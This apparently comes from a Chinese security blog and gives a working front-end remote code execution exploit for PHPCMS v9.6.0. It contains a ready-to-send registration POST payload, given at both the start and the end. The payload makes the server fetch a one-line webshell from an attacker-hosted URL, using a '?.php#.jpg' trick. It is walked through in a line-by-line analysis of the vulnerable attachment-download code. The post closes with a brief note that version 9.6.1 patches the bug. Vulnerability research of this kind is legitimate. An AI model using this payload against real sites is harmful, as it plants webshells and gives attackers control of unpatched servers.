PHPCMS_V9.6.0 前台GETSHELL

网站建设评论67

0x00 POC

url: /index.php?m=member&c=index&a=register&siteid=1post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=

 

其中http://192.168.31.131/test.txt内容为一句话

0x01 代码分析
漏洞点在 /phpcms/libs/classes/attachment.class.php 文件的第 166 行至 172 行, download 函数中

class attachment {...function download($field, $value,$watermark = \'0\',$ext = \'gif|jpg|jpeg|bmp|png\', $absurl = \'\', $basehref = \'\'){global $image_d;$this->att_db = pc_base::load_model(\'attachment_model\');$upload_url = pc_base::load_config(\'system\',\'upload_url\');$this->field = $field;$dir = date(\'Y/md/\');$uploadpath = $upload_url.$dir;$uploaddir = $this->upload_root.$dir;$string = new_stripslashes($value);if(!preg_match_all(\"/(href|src)=([\\\"|\']?)([^ \\\"\'>]+\\.($ext))\\\\2/i\", $string, $matches)) return $value;$remotefileurls = array();foreach($matches[3] as $matche){if(strpos($matche, \'://\') === false) continue;dir_create($uploaddir);$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);}unset($matches, $string);$remotefileurls = array_unique($remotefileurls);$oldpath = $newpath = array();foreach($remotefileurls as $k=>$file) {if(strpos($file, \'://\') === false || strpos($file, $upload_url) !== false) continue;$filename = fileext($file);$file_name = basename($file);$filename = $this->getname($filename);$newfile = $uploaddir.$filename;$upload_func = $this->upload_func;if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS[\'downloadfiles\'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array(\'filename\'=>$filename, \'filepath\'=>$filepath, \'filesize\'=>filesize($newfile), \'fileext\'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath;}}return str_replace($oldpath, $newpath, $value);}...}

 
大概说一下这个函数的流程: 经过全局处理后,传入的值$value 为:src=http://192.168.31.131/test.txt?.php#.jpg
然后使用 new_stripslashes 删除反斜杠,然后对传入的 url 使用正则匹配,检查其后缀合法性。
此处正则不难懂,匹配 href 或者 src 的值,后缀检查这里只要 url 的最后是
以 gif|jpg|jpeg|bmp|png就可以继续执行下去了,这个地方是漏洞出现的一个原因,因为我们知道URL可以存在锚点,即#后面的内容,所以URL后面加上#.jpg。 经过匹配后的 $matches 的结构如下:

Array([0] => Array([0] => src=http://192.168.31.131/test.txt?.php#.jpg)[1] => Array([0] => src)[2] => Array([0] =>)[3] => Array([0] => http://192.168.31.131/test.txt?.php#.jpg)[4] => Array([0] => jpg))

 
$matches[3]传入fillurl($matche, $absurl, $basehref)函数处理,fillurl()函数如下:

function fillurl($surl, $absurl, $basehref = \'\') {if($basehref != \'\') {$preurl = strtolower(substr($surl,0,6));if($preurl==\'http://\' || $preurl==\'ftp://\' ||$preurl==\'mms://\' || $preurl==\'rtsp://\' || $preurl==\'thunde\' || $preurl==\'emule://\'|| $preurl==\'ed2k://\')return $surl;elsereturn $basehref.\'/\'.$surl;}$i = 0;$dstr = \'\';$pstr = \'\';$okurl = \'\';$pathStep = 0;$surl = trim($surl);if($surl==\'\') return \'\';$urls = @parse_url(SITE_URL);$HomeUrl = $urls[\'host\'];$BaseUrlPath = $HomeUrl.$urls[\'path\'];$BaseUrlPath = preg_replace(\"/\\/([^\\/]*)\\.(.*)$/\",\'/\',$BaseUrlPath);$BaseUrlPath = preg_replace(\"/\\/$/\",\'\',$BaseUrlPath);$pos = strpos($surl,\'#\');if($pos>0) $surl = substr($surl,0,$pos);if($surl[0]==\'/\') {$okurl = \'http://\'.$HomeUrl.\'/\'.$surl;} elseif($surl[0] == \'.\') {if(strlen($surl)<=2) return \'\';elseif($surl[0]==\'/\') {$okurl = \'http://\'.$BaseUrlPath.\'/\'.substr($surl,2,strlen($surl)-2);} else {$urls = explode(\'/\',$surl);foreach($urls as $u) {if($u==\"..\") $pathStep++;else if($i<count($urls)-1) $dstr .= $urls[$i].\'/\';else $dstr .= $urls[$i];$i++;}$urls = explode(\'/\', $BaseUrlPath);if(count($urls) <= $pathStep)return \'\';else {$pstr = \'http://\';for($i=0;$i<count($urls)-$pathStep;$i++) {$pstr .= $urls[$i].\'/\';}$okurl = $pstr.$dstr;}}} else {$preurl = strtolower(substr($surl,0,6));if(strlen($surl)<7) $okurl = \'http://\'.$BaseUrlPath.\'/\'.$surl; elseif($preurl==\"http:/\"||$preurl==\'ftp://\' ||$preurl==\'mms://\' || $preurl==\"rtsp://\" || $preurl==\'thunde\' || $preurl==\'emule:\'|| $preurl==\'ed2k:/\') $okurl = $surl; else $okurl = \'http://\'.$BaseUrlPath.\'/\'.$surl; } $preurl = strtolower(substr($okurl,0,6)); if($preurl==\'ftp://\' || $preurl==\'mms://\' || $preurl==\'rtsp://\' || $preurl==\'thunde\' || $preurl==\'emule:\'|| $preurl==\'ed2k:/\') { return $okurl; } else { $okurl = preg_replace(\'/^(http:\\/\\/)/i\',\'\',$okurl); $okurl = preg_replace(\'/\\/{1,}/i\',\'/\',$okurl); return \'http://\'.$okurl; } }

 

这个函数就是除去锚点,所以取到的$remotefileurl的值为array(\'http://192.168.31.131/test.txt?.php#.jpg\' => \'http://192.168.31.131/test.txt?.php\'),这里去掉锚点又是漏洞的一个利用点,导致后面取到的文件后缀为php,而又没检测后缀,导致成功getshell,后面再说。
接着往下看:

foreach($remotefileurls as $k=>$file) {if(strpos($file, \'://\') === false || strpos($file, $upload_url) !== false) continue;$filename = fileext($file); //获取文件名后缀,即php$file_name = basename($file);$filename = $this->getname($filename); //根据后缀生成随机文件名$newfile = $uploaddir.$filename; //文件路径$upload_func = $this->upload_func; //upload_func值为copyif($upload_func($file, $newfile)) { //直接调用copy函数拷贝远程文件$oldpath[] = $k;$GLOBALS[\'downloadfiles\'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777); //开发者怕shell运行不了还给了777权限,多贴心$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array(\'filename\'=>$filename, \'filepath\'=>$filepath, \'filesize\'=>filesize($newfile), \'fileext\'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath;}}

总结一下,先对传入的 url 使用preg_match_all进行后缀检查,然后用 fillurl 去掉 # 后面的 内容,再用 fileext 取新后缀,取到新后缀后未检验,就直接用 copy 下载文件并重命名。由于逻辑处理不当导致漏洞,即典型的把验证放在最前面,而后面的操作导致前面的验证形同虚设。
现在找到了漏洞存在的地方,就要找个触发漏洞的地方。

全局搜索attachment->download找到几处调用的地方,以 caches/caches_model/caches_data/member_input.class.php 为例:

function editor($field, $value) {$setting = string2array($this->fields[$field][\'setting\']);$enablesaveimage = $setting[\'enablesaveimage\'];$site_setting = string2array($this->site_config[\'setting\']);$watermark_enable = intval($site_setting[\'watermark_enable\']);$value = $this->attachment->download(\'content\', $value,$watermark_enable);return $value;}

没有对$value过滤,继续找调用editor()的地方,用全局搜索没找到,观察好长时间也没找到,去看了看别人的分析才发现在get()函数里存在动态调用,这里可以构造调用editor()函数:

function get($data) {$this->data = $data = trim_script($data);$model_cache = getcache(\'member_model\', \'commons\');$this->db->table_name = $this->db_pre.$model_cache[$this->modelid][\'tablename\'];$info = array();$debar_filed = array(\'catid\',\'title\',\'style\',\'thumb\',\'status\',\'islink\',\'description\');if(is_array($data)) {foreach($data as $field=>$value) {if($data[\'islink\']==1 && !in_array($field,$debar_filed)) continue;$field = safe_replace($field);$name = $this->fields[$field][\'name\'];$minlength = $this->fields[$field][\'minlength\'];$maxlength = $this->fields[$field][\'maxlength\'];$pattern = $this->fields[$field][\'pattern\'];$errortips = $this->fields[$field][\'errortips\'];if(empty($errortips)) $errortips = \"$name 不符合要求!\";$length = empty($value) ? 0 : strlen($value);if($minlength && $length < $minlength && !$isimport) showmessage(\"$name 不得少于 $minlength 个字符!\"); if (!array_key_exists($field, $this->fields)) showmessage(\'模型中不存在\'.$field.\'字段\');if($maxlength && $length > $maxlength && !$isimport) {showmessage(\"$name 不得超过 $maxlength 个字符!\");} else {str_cut($value, $maxlength);}if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);if($this->fields[$field][\'isunique\'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != \'edit\') showmessage(\"$name 的值不得重复!\");$func = $this->fields[$field][\'formtype\'];if(method_exists($this, $func)) $value = $this->$func($field, $value);$info[$field] = $value;}}return $info;}$func = $this->fields[$field][\'formtype\']; 这里只需使$func得值为editor就可以调用,我们看看$fiels的值是怎么获取到的,构造函数:function __construct($modelid) {$this->db = pc_base::load_model(\'sitemodel_field_model\');$this->db_pre = $this->db->db_tablepre;$this->modelid = $modelid;$this->fields = getcache(\'model_field_\'.$modelid,\'model\');//初始化附件类pc_base::load_sys_class(\'attachment\',\'\',0);$this->siteid = param::get_cookie(\'siteid\');$this->attachment = new attachment(\'content\',\'0\',$this->siteid);}

 
就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的,正好在caches/caches_model/caches_data/model_field_1.cache.php 文件里面找到合适的 field 名:

...\'content\' =>array (\'fieldid\' => \'8\',\'modelid\' => \'1\',\'siteid\' => \'1\',\'field\' => \'content\',\'name\' => \'内容\',\'tips\' => \'\'css\' => \'\',\'minlength\' => \'1\',\'maxlength\' => \'999999\',\'pattern\' => \'\',\'errortips\' => \'内容不能为空\',\'formtype\' => \'editor\',...),...

 
即当传入的$field为content即可调用editor()函数,继续找调用get()函数的地方找到三处:

根据payload利用的是/phpcms/modules/member/index.php 中第135行的 register 方法:
$member_input = new member_input($userinfo[\'modelid\']);
$_POST[\'info\'] = array_map(\'new_html_special_chars\',$_POST[\'info\']);
$user_model_info = $member_input->get($_POST[\'info\']);
所以只需$_POST[\'info\'] 中
的 content 字段的值有src=http://192.168.31.131/test.txt?.php#.jpg便可以成功利用,register方法就是在注册的时候调用的,所以最终的payload:
url: /index.php?m=member&c=index&a=register&siteid=1

post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=
注意username和email不要重复,根据代码逻辑,重复了也会传上shell,但是不会返回路径。
0x02 漏洞修复
官网已推出补丁,升级到9.6.1即可。

 
淘宝高手运营的详情页设计思路 网站建设

淘宝高手运营的详情页设计思路

高手在运营的过程中都有自己的一套方法,做详情页也一样,下面是高手给新手们在开店过程中的一套详情页制作方法,希望能帮助到大家!工作是有方法的,而有方法就是有一定的目标、有结果。那么我们在做详情页的时候,...
匿名

发表评论

匿名网友
:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: